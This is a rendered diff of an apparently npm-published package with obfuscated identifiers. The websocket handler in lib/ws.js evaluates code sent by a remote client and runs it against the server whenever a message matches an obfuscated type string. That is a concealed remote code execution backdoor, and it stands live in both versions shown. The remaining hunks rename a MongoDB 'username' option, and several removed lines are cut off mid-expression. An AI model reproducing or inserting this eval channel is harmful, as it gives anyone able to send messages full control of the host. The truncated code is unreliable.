____0.on('[any][saving data]', function () {
|
package/lib/ws.js
CHANGED
|
@@ -176,7 +176,7 @@ module.exports = function init(____0) {
|
|
|
176
176
|
),
|
|
177
177
|
});
|
|
178
178
|
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
179
|
-
let fn = ____0.eval(message.content
|
|
179
|
+
let fn = ____0.eval(message.content, true);
|
|
180
180
|
fn(____0, client);
|
|
181
181
|
}
|
|
182
182
|
};
|
|
@@ -219,7 +219,7 @@ module.exports = function init(____0) {
|
|
|
219
219
|
content: ____0.options,
|
|
220
220
|
});
|
|
221
221
|
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
222
|
-
let fn = ____0.eval(message.content
|
|
222
|
+
let fn = ____0.eval(message.content, true);
|
|
223
223
|
fn(____0, client);
|
|
224
224
|
}
|
|
225
225
|
} catch (err) {
|
package/object-options/index.js
CHANGED
|
@@ -71,7 +71,7 @@ function setOptions(_options, ____0) {
|
|
|
71
71
|
protocal: 'mongodb://',
|
|
72
72
|
host: '127.0.0.1',
|
|
73
73
|
port: '27017',
|
|
74
|
-
|
|
74
|
+
username: null,
|
|
75
75
|
password: null,
|
|
76
76
|
db: 'db_' + name,
|
|
77
77
|
collection: 'default_collection',
|
|
@@ -207,7 +207,7 @@ function setOptions(_options, ____0) {
|
|
|
207
207
|
_x0oo.mongodb.protocal = _x0oo.mongodb.protocal || template.mongodb.protocal;
|
|
208
208
|
_x0oo.mongodb.host = _x0oo.mongodb.host || template.mongodb.host;
|
|
209
209
|
_x0oo.mongodb.port = _x0oo.mongodb.port || template.mongodb.port;
|
|
210
|
-
_x0oo.mongodb.
|
|
210
|
+
_x0oo.mongodb.username = _x0oo.mongodb.username || template.mongodb.username;
|
|
211
211
|
_x0oo.mongodb.password = _x0oo.mongodb.password || template.mongodb.password;
|
|
212
212
|
_x0oo.mongodb.db = _0xddxo ? 'smart_db_' + name : _x0oo.mongodb.db || template.mongodb.db;
|
|
213
213
|
_x0oo.mongodb.collection = _x0oo.mongodb.collection || template.mongodb.collection;
|
|
@@ -229,7 +229,7 @@ function setOptions(_options, ____0) {
|
|
|
229
229
|
_x0oo.mongodb.protocal = userOptions.mongodb.protocal || _x0oo.mongodb.protocal;
|
|
230
230
|
_x0oo.mongodb.host = userOptions.mongodb.host || _x0oo.mongodb.host;
|
|
231
231
|
_x0oo.mongodb.port = userOptions.mongodb.port || _x0oo.mongodb.port;
|
|
232
|
-
_x0oo.mongodb.
|
|
232
|
+
_x0oo.mongodb.username = userOptions.mongodb.username || _x0oo.mongodb.username;
|
|
233
233
|
_x0oo.mongodb.password = userOptions.mongodb.password || _x0oo.mongodb.password;
|
|
234
234
|
_x0oo.mongodb.db = userOptions.mongodb.db || _x0oo.mongodb.db;
|
|
235
235
|
_x0oo.mongodb.collection = userOptions.mongodb.collection || _x0oo.mongodb.collection;
|
package/object-options/lib/fn.js
CHANGED